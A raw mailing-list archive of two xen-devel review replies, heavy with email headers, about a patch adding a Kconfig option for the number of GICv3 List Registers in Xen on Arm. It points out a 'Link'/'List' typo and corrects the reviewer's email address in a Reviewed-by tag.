Message-ID: <DAB048A7-AE4F-4E28-A613-8FFE4F0AC359@arm.com>
References: <20260706133553.3026786-1-ayan.kumar.halder@amd.com>
In-Reply-To: <20260706133553.3026786-1-ayan.kumar.halder@amd.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-mailer: Apple Mail (2.3864.600.51.1.1)
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
x-ms-traffictypediagnostic:
	DU2PR08MB7272:EE_|PAXPR08MB7333:EE_|DB1PEPF000509FD:EE_|DU2PR08MB10131:EE_
X-MS-Office365-Filtering-Correlation-Id: c1b81cc1-5f02-407f-3d11-08dedb7241e3
x-checkrecipientrouted: true
nodisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|23010399003|1800799024|366016|376014|22082099003|38070700021|18002099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info-Original:
 oEOZ/vRiDrmg+9sUFvJ7eoDqYTW3mhV/ML51TY2XUtaK5FRcbADlrzWRKLXWy7k0lpHXJSi85jsivnz3V0nP57/dm5s7j40Nis/aWcXuZGtfl+MhTvwKy8Xo4RyFgANwkY1gFRKmzT0OD7R/Q/H+gHHPxfddL7BziIn1NDFjOsMXKOuJBJzqSISzlHNjApE0np5gYxevglbKiohtDjaJq516WkouvxStls3kYYEf9zUGZTp5OAuzEZRdoxiLJ3zC2eD6SEyuVoWQkSESZ8xyHi7zBYEVi5V75sjh2sCkWtDMs1z/RcSXm+lnkJRmkngUVA4R7jorOvUMwFvVfWjlgPS1GVZeGuIoK1pbrQM+9Xk2B0nsi8H9vPREZ9ac+E6irsmF7voQZ8+Hn38MjKL4xZQR/Fedl+4sQYDoiJdtCfdmf5YZGlBONDBf/i2cU9+l8TY4ImgnbxHBqE7XvDxOth4ei0BRdH1VfEYPJaYptx6ZFKuhBTADCQAyOrP173L80OQ0knyrW062kR6NRJLLa1PYgoVPu/FDelEJIoTIUbqkzVez51okiYsq1hZpU+UEEa0Cg3a9PmHwTyHwFtEiq/hEmvjfB4UqvfnGkAmNWoKX167JtUYkRENArumcB7smuZcjE6q03jyUCXkEtLKV8rsiBtO0jcytUQMsgivBUUwQZus6WiNNQdEhqm8H0s5VcgPcsCOoA4/64gwR+I4p/N1Jrxgr2XUh6zTgKvdCRrA=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DU2PR08MB7272.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(366016)(376014)(22082099003)(38070700021)(18002099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
Content-Type: text/plain; charset="utf-8"
Content-ID: <6A3FEDB4FE72C748BCFAC002E5377567@eurprd08.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-Exchange-RoutingPolicyChecked:
 a7dRmMlNyV0/RM+dnVBBE427zaT3MOJ1wb8GAdY6Fde7EZzS5gOF6/2l+isFX4tKxVdz2+UxK7gSngd44aELnwLjaE2GuBV8KxqvwQC/DoFyClqV9LZeGK06smw3sBsxSm5iW6u+PACWvV1xuWosXkZ/7AzqiAYi1zVjAT84mELZCUNNaafYvPW2RUacTllcF2UNY1pkm7b5gnX8Cjbmn1Y8SEvAEr3D6AduggNP834hQSnYRnQpOADq+cDXDtba2SBPGTL6EB56o23gN9fsHZ7K8f9J0lWfPVGFUC9Fw51MDJRV9Q4r9ye5bZI/53FBrGeWqoly/6j08PFPtum1Kg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAXPR08MB7333
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DB1PEPF000509FD.eurprd03.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	f3427391-128d-4b15-f5b2-08dedb721c62
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|14060799003|82310400026|35042699022|36860700016|1800799024|56012099006|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	GOCumNf7veIyxx/z1i/29yDzkBxBPH6sPShVn//08fS9dw2X91IxSuYlbwMoh00LFo9AeznpoSGL2u23QxJLbEhn3aKXY4G/iB17+YIuEreqRnyn/bx/crtf3hZz8vCyNS9hY80Xb3tCanUvCBwFRcpdW6EzHv9nHkyIiPDBuTaqn6RhpnTyECll7hp+VOhWiv+KA46DLXYrVZsWwDjcL8ZpF8C8KlMf8HsB+iOry+66evukTNVHW2fCCcnNnbxF2D/QJBwVf6DH6q3RZyzLTC9SJVQrbfeNun1WXuOczBdqQmjkvwqstzza26b4GN+0VCyRVxZJ+zBKyLBj1EeVkz7kWRvxXJGBRft6tRmIIPsGM2Phj8Kl61lEFT9QfaEXlnLwehbxRASN5Rx9u7ti7iaOqus4QzNZ0ogTvM5FkWmragl7nOGJtjwPHrmSSOzrXGf49rXArOGJ0PxT3Qm1uJsbz79RRc68gL5g+pQsVe/A4AQgueAuQiV4Q9kYEVoOzdV8vkDjkE4ygkU7KSlS9cCVbz53c6GDvQANm21X4xaLgntjN+a32Usg4gMYKlcsaCag8l2GTwyHZkGyU1q06HGGw+fkIR3NpxmSlhq09kwy7YgUdoU1fzgkyz+SpVMz5YzmS+3uLq2Jb58UB+Z+QGkb5hix0ePuEQYqGm0C8pwf5YiVbjq96H+HwBI63ugiaSmZ6B0AXChm6HFNn0dhKQ==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(23010399003)(14060799003)(82310400026)(35042699022)(36860700016)(1800799024)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	T2iVDn0DFJYmxNTcBwtiEjP3SDdYxan3x5CmWRhzg5JorAAddT4VeTN33rTUQENQcFpZ/4zCgSJNGn9+RsyC/3Hsq/4Px09v8Uy9wtYECbRIHGerssgOi174wb986ulQ0DciFKw/qDUdxdA0vvhhlsf/UfMCn7QV0Edvt7r9yko798E1RnYGzhVYESisF1kMcIyHNLDY+vXw1VpsKi7nbLO+Ss74Eq4nBL+YVLrHzJUQspf/Wq21ukn3ip50bKmG1/oWQaon/mckHkOLOsFdE1TGmhY+TWe1bKk+r0P5vRRHzHtbAKQu//MRb/ykVYoW0tiVMMbHvq2GZA6HlvPYXL0c1+aluryUgtQSr46Rr/BUp/xUINezjXoZUeQZCS3555P+uuhdzrIvEqpTBpgeeQ/ndzvuAPnZ32s/bHETxfEWZ26u6GDgdbwasrRCpxyY
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 06 Jul 2026 15:21:31.0248
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: c1b81cc1-5f02-407f-3d11-08dedb7241e3
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DB1PEPF000509FD.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU2PR08MB10131
X-purgate-ID: tlsNG-d62444/1783351294-834CA1E0-0FAEB614/0/0
X-purgate-type: clean
X-purgate-size: 1960

SGkgQXlhbiwNCg0KPiBPbiA2IEp1bCAyMDI2LCBhdCAxNDozNSwgQXlhbiBLdW1hciBIYWxkZXIg
PGF5YW4ua3VtYXIuaGFsZGVyQGFtZC5jb20+IHdyb3RlOg0KPiANCj4gQWRkIGEgS2NvbmZpZyBv
cHRpb24gdGhhdCBsZXRzIGFuIGludGVncmF0b3IgaGFyZC1jb2RlIHRoZSBudW1iZXIgb2YNCj4g
R0lDdjMgTGluayBSZWdpc3RlcnMgWGVuIHVzZXMuIFRoZSBkZWZhdWx0ICgwKSBrZWVwcyByZWFk
aW5nIHRoZSBjb3VudA0KDQpUaGVyZSBpcyBhIHR5cG8gaGVyZSBhbmQgaW4gb3RoZXIgcGFydCBv
ZiB0aGlzIHBhdGNoLCB0aGV5IGFyZSDigJxMaXN0IHJlZ2lzdGVyc+KAnSwgZnJvbSB0aGUNCkdJ
Q3YzIHNwZWNzLiBzL0xpbmsvTGlzdC8gaGVyZSBhbmQgYmVsb3cuDQoNCj4gZnJvbSBJQ0hfVlRS
X0VMMi5MaXN0UmVncyBhdCBib290LiBBIG5vbi16ZXJvIHZhbHVlIGlzIHZhbGlkYXRlZA0KPiBh
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VyIDxheWFuLmt1bWFyLmhh
bGRlckBhbWQuY29tPg0KPiBTaWduZWQtb2ZmLWJ5OiBNaWNoYWwgT3J6ZWwgPG1pY2hhbC5vcnpl
bEBhbWQuY29tPg0KPiAtLS0NCg0KV2l0aCB0aGUgYWJvdmUgZml4ZWQ6DQoNClJldmlld2VkLWJ5
OiBMdWNhIEZhbmNlbGx1IDxsdWNhLmZhbmNlbGx1QGdtYWlsLmNvbT4NCg0KQ2hlZXJzLA0KTHVj
YQ0KDQo=


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:25:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:25:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355418.1610190 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglBx-0006zO-RE; Mon, 06 Jul 2026 15:25:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355418.1610190; Mon, 06 Jul 2026 15:25:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglBx-0006zH-NP; Mon, 06 Jul 2026 15:25:05 +0000
Received: by outflank-mailman (input) for mailman id 1355418;
 Mon, 06 Jul 2026 15:25:04 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Luca.Fancellu@arm.com>) id 1wglBw-0006zA-BI
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:25:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglBv-00AWuJ-8u
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:25:03 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Luca.Fancellu@arm.com>)
 id 6a4bc8c7-5cb7-0a2a0a5109dd-0a2a4506dab0-20
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:25:03 +0200
Received: from [52.101.69.58]
 (helo=AM0PR83CU005.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Luca.Fancellu@arm.com>)
 id 6a4bc8ce-08de-0a2a45060019-3465453ab87b-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:25:03 +0200
Received: from AS4PR10CA0026.EURPRD10.PROD.OUTLOOK.COM (2603:10a6:20b:5d8::20)
 by AS8PR08MB7356.eurprd08.prod.outlook.com (2603:10a6:20b:447::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.13; Mon, 6 Jul
 2026 15:25:00 +0000
Received: from AM3PEPF0000A78E.eurprd04.prod.outlook.com
 (2603:10a6:20b:5d8:cafe::83) by AS4PR10CA0026.outlook.office365.com
 (2603:10a6:20b:5d8::20) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.13 via Frontend Transport; Mon, 6
 Jul 2026 15:25:00 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AM3PEPF0000A78E.mail.protection.outlook.com (10.167.16.117) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.6
 via Frontend Transport; Mon, 6 Jul 2026 15:25:00 +0000
Received: from DU2PR08MB7272.eurprd08.prod.outlook.com (2603:10a6:10:2d7::16)
 by GVXPR08MB11741.eurprd08.prod.outlook.com (2603:10a6:150:312::22)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Mon, 6 Jul 2026
 15:23:55 +0000
Received: from DU2PR08MB7272.eurprd08.prod.outlook.com
 ([fe80::5d34:206f:373:a323]) by DU2PR08MB7272.eurprd08.prod.outlook.com
 ([fe80::5d34:206f:373:a323%6]) with mapi id 15.21.0181.012; Mon, 6 Jul 2026
 15:23:55 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=IuzzCqf/3dkX8PA4X7zXKMbI22Nb0uUEufKddLQuiiG7AJBp76wPg72J2/CFV+C24pf1QkjjChTDClY8i3nKpbjjUa40DdFu7uVoZKiPiXnaaDWhbed3LBsSG8pyuRcPiJhovEcc8wsRtS5LrBCxJtzpYORvuIHtcGIXOQ4chC9AMzLAka9z7+DgUNlk5U7MrLa38CaO/zIm1ipKsWg/A/4n/7qN92EV7zG4nTYOT6Ectf5hQJTngwsLLhHLXVO5HJc+quIx1XX7U08GIY3hZHfMx9ni3l9SfnzlmQjN3Ttmxzqm/ySekaFLeRgTMHFHnvDuNJZ7smdHBErQSDjuig==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DXCh5GaYpui7p0JrA657JujuGRc/psFIDkPEotlaC8A=;
 b=vp6mwoNYjeHvTGrrdhuIEf07iy293A6tKgjwDw5Y9Tp0tRSB4W1O2wirW7C3JnSj12r4MsdDniZKXl2W7ndp+Ys4AfHxOhjRPQYt7rjWeMiQziNXio2d3JHHdxJfoIRM6yaNqEQcJbix7QNzkarI3Fcfpfp/+h/86rMM8FsVVAXxCAgzuziC411Du5xhSupuWLHUhf8RnKHc9N5sURFwrRHi15mhTtM71OjmMZXGPQuRFhHb17AxeuTIoFtP1DgB87HiuM/sFXgiY7V6bXn+UvbqDE7gTuIKgynacdzyo+O4GolY8x/OmXcTwfUDurr6jX8qkl1dcYqYDkVTBhZ5pA==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=amd.com smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DXCh5GaYpui7p0JrA657JujuGRc/psFIDkPEotlaC8A=;
 b=FHKsHWLBwfKJ3IOwoA26Y2sUczt48YQVrPwM+rWlE633Ff7Rqh/NoMIiOPby76CYqie7rc0JSgcmpPbSReAsBTgK98nW16umT1iKy8xZaJx5GPQfOzKtnXUEjU01BrmoA3HQE/lzpqP6cE7RtopzGZOavyoS6FK40JjQJA/ElmA=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=S1/U/OL3BYgnoOb78YP+KTzp/vTMr+snqyU3Bp6TVpHdeq51fEvHKHXMGLJjpwmHslDonkTOn62eQbHHiVvMNftaJjP73373MN3vFnoGy1miBZYGApJXtgqFnDGpkwYfxfpLREw+mMveNG7EoLwbBkvXsNHIv3v+c3AvKkFcCV9ZCRiNCEMO5r1oWVEQwob6RrJ+DTI5PfGMbwWCg2cAAaqht/NC5l8a79Z2LO+i3aJCMVcJLy3zOgSYueD5kLQTWLwXjybnhTcnXX0CyT2LO+18S3Ocyhp9Q8r0vPtAT1g+1Bi3wDNDt5u2Bv5SVfdnmeatJs5TEEWBIAzgwTgd1w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DXCh5GaYpui7p0JrA657JujuGRc/psFIDkPEotlaC8A=;
 b=pFhRfppRrUAMS90h24Y1fko4FYK/h20+k9L8zvuxUCUgTQMFb4sMv93xFCKCJFMEPySqPQcJUU3MPkUUTHX9rszLU9oWOBohotD4/ytAurYai7t4A0r3nvhahqEigujum8AVoJNjZlvgZsHlc3S4RFPB2qr4D2AU9go80oI04/KEqhbitUBsbnvmEPZrv6XCgKObY5DcpHQyC6cqwa609hzkt9RLlnqFi9YFyjJIDFuxe7HCEacx5IEUrS861WUnbwUTalT8pqhNT4tIiqbWc1BFHaEitLTWueOMyVUCYYGOXvCg53J3cur246MLpLgpQujL/FjqqxozHIKncJcoiA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DXCh5GaYpui7p0JrA657JujuGRc/psFIDkPEotlaC8A=;
 b=FHKsHWLBwfKJ3IOwoA26Y2sUczt48YQVrPwM+rWlE633Ff7Rqh/NoMIiOPby76CYqie7rc0JSgcmpPbSReAsBTgK98nW16umT1iKy8xZaJx5GPQfOzKtnXUEjU01BrmoA3HQE/lzpqP6cE7RtopzGZOavyoS6FK40JjQJA/ElmA=
From: Luca Fancellu <Luca.Fancellu@arm.com>
To: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, Stefano
 Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand
 Marquis <Bertrand.Marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: Re: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
Thread-Topic: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
Thread-Index: AQHdDUx1aTYp1QlnvU6G8jJKuMyIC7ZgmzWAgAAA+IA=
Date: Mon, 6 Jul 2026 15:23:55 +0000
Message-ID: <AD40E6B4-7614-409F-91BB-09D9E9904C73@arm.com>
References: <20260706133553.3026786-1-ayan.kumar.halder@amd.com>
 <DAB048A7-AE4F-4E28-A613-8FFE4F0AC359@arm.com>
In-Reply-To: <DAB048A7-AE4F-4E28-A613-8FFE4F0AC359@arm.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-mailer: Apple Mail (2.3864.600.51.1.1)
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
x-ms-traffictypediagnostic:
	DU2PR08MB7272:EE_|GVXPR08MB11741:EE_|AM3PEPF0000A78E:EE_|AS8PR08MB7356:EE_
X-MS-Office365-Filtering-Correlation-Id: 08e7c618-8da4-48dc-56b9-08dedb72be9c
x-checkrecipientrouted: true
nodisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|56012099006|4143699003|11063799006|18002099003|22082099003|38070700021;
X-Microsoft-Antispam-Message-Info-Original:
 ttuuGgUvZdZecaGFpzAzqQXW77yTvvo8UsB3o/GUOMEN420OKYzEMRMQ8x4ROvkAbj/LgbVUMLf0plt2Bcqre7aNMkLgWJNmiDX3DRbHtrsbUIRdsqB5XIrAJnjfYv5aVoewAgi7JOlkUoHol3GGNvPkJCom0dUR3UOe1jRFxRcGRb2RJm5MeOAl7Y8GQ+L/9d8CDaUYZyCyVzSTOH4jQckWADpCMhQ8kDJo0vintsRdUEGxgqcUI9duL+p3aHFMtyjX0Jq/DYvY0f+2kAy165HzrGRvOGmdO1ilATjbbgA2x+LPb/oO8W+Oghkz9fLUpJUEFu8FhM3N6jpOj/zkEO1HRUcngloGMnXi2E/lCFnyitR/H5wGhcTKGiS9ls9hcFxFogR4LrkF9PK6td5fUj1aPeBpqS4BDV+uipYzqGYTQkjdvz3QIvIvqJdcqZ/MY5FVM3uwZLlSIbQPhYkWbXohUw32Bk3S5HEOuKCvkAhHlysUEQltjhLZ3jGuQg1BPNu4ITitTFHoT170D3ZxgJgKzAFfhRrrXjhd4GvZ64AMoQtkrtBQX6yTnOKyXKuu7eE5i3EihkqhHUUlMOp6+xMsZ6YIcj6wdYX6ganfnfTrnJYYTYibG8a7Wqy0Qnsc9capGPTMd01uIokXnWQQK9QWcgCOoTlJ7+We2Yt+Z/9qMfJtCyuvxv/IEbObcRViHBwFy6d+AKYTT+MqSgrY4ws2/Utv+h14s5Z1Jwh4G0M=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DU2PR08MB7272.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(56012099006)(4143699003)(11063799006)(18002099003)(22082099003)(38070700021);DIR:OUT;SFP:1101;
Content-Type: text/plain; charset="us-ascii"
Content-ID: <EF02749365F5A24DA4C22D63E2E2833E@eurprd08.prod.outlook.com>
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Exchange-RoutingPolicyChecked:
 c71KYiMeWD7u3sC3EP2+MuWB/9GWY1PIzDa3iarEzAtacUF2sNDAjcp9PBZZiGJvFHIqWXIH0IXc1NPfByLzDQ2ph0Swyvac1IM97WA/s1p1ghhcJQceU1qb80QX4Uc5UTgHJFZFCJHRchh2mVMJs7Cq/QVLDJ1pDyVAhzPTQS4HcpOuyHEe+6mu8D8tf76qoIVb9kB3L8mZqvPMv+4kOjLfKu4rpk8E/t87lupVlxM6D+qU2BdIKRcRNV4ZYpZ0y8Mw2lID6jDi1QXtj44c7g1JaR/+MuDoAq1bRpIN3I5lk2IzNmimQiK9symqnw3sTbFbOjUBEKuXlgqhNSnMCA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GVXPR08MB11741
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AM3PEPF0000A78E.eurprd04.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	50f1dee2-891e-4c82-e4bf-08dedb7297cf
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|35042699022|36860700016|14060799003|1800799024|82310400026|56012099006|18002099003|22082099003|4143699003|11063799006;
X-Microsoft-Antispam-Message-Info:
	UQMxSFuJNhV1SWFjBiO1p2KlqVGQ/qJSXnjSQwCpW4geUa6MWohQ7xBprjLDElTeSyzBj9gy/8McDGUyeROYNYWsSI0KF56xkyAtBZAMQdj6iuYDkHJ+JqZf38HoKL+s3AusVW2dMSQ6MD/XLpfCWqCz5RQFh9RhyHFH9zcvvNaTi01ghIIBi8bzE9aC4XRgjH1JNW888fN375lz7Qth42xtks8FTprs4VTBX2OTVRo/oGm9SQNBfDUB25eO0HOc2nplfP4MlUD+ImB0xPj7DTRY+zZb6ernnSzUDy6Ikxu4wOHWtzTpYJDUnYsRlvtV5XXlG9GSomoo3s/scohT7vXtGSyBdkIRlv/2njypLl3xKpUgxDaE5t8q6MCZN23qBdJErW8jQ6ljmYYmsR5wqB75fsGzNWyQWb72EnBdAMs7ehb2oHTcBGDopF/Amuh5q2KN1g3Sq9cxzOMRpNgznqrqRDDFntJDlhp1gSdADe+eEPQkgHiV6lg4FaI/i7hBIeDcStPAHm/4udt5/MmT6iVacHf+kG5FHJuzTcDBXPjlMB6caD4kGFIZ+kcWahZPhOzH07J9fCxuwBt90KSasRou0WifEolewoYPnQMqAblrIjoQF5qJvxcPMghgUmI4exvJq7vZOTsxkc9t/5nRjiqFvPcyoHQXxvNAHV2cWR0qKkSSzhxuOjec1F4nTIjIRcdQSrLiW+jiTPEKWkJglw==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(23010399003)(35042699022)(36860700016)(14060799003)(1800799024)(82310400026)(56012099006)(18002099003)(22082099003)(4143699003)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	BCtaSQ5MEejgmV9IdmeqPomiD/F+BQzex9+mZ1P0g5yEgEceX69brH/OCJ7n13W7GXhL0zmdTqsH74+KSUyXcoLZR+i5JFHseLudyWv+Cam/ag4SwkEZGYVyLrEQsOvYyiFVkGDlnBCfZ8KRowpPXMNTbOF3eN1LxSRA2gDVYoMVVZHIyt09CN8EcE6vuu8nrT6ypwfUgFEWrHKp6t2Tfjip7a+G/3Lf/TRlLANjzQx4CUTwxZKmoFEuR+da3HPBXzlHpF4BRRqISv+pO3CDOurVcjTq8gOTK+a0uEB85nwvCnD3nqRL3SPbMSq8EH2SqNLyRV6ko5hCOKv2SHOElTyJL6ebPAaI1cUuawQBIydhZ/+pwPsNKUunTL5lEJ9YQsQxqCXAxINtgKiJmb9PleJj05KRvqz+oSIwmQXYNu+Dry7mde+rtB3R0Ir7riUZ
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 06 Jul 2026 15:25:00.2973
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 08e7c618-8da4-48dc-56b9-08dedb72be9c
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AM3PEPF0000A78E.eurprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR08MB7356
X-purgate-ID: tlsNG-16d1c6/1783351503-C6F2468D-2158FD73/0/0
X-purgate-type: clean
X-purgate-size: 207


>=20
> With the above fixed:
>=20
> Reviewed-by: Luca Fancellu <luca.fancellu@gmail.com>

Apologies, I meant:

Reviewed-by: Luca Fancellu <luca.fancellu@arm.com>

>=20
> Cheers,
> Luca
>=20



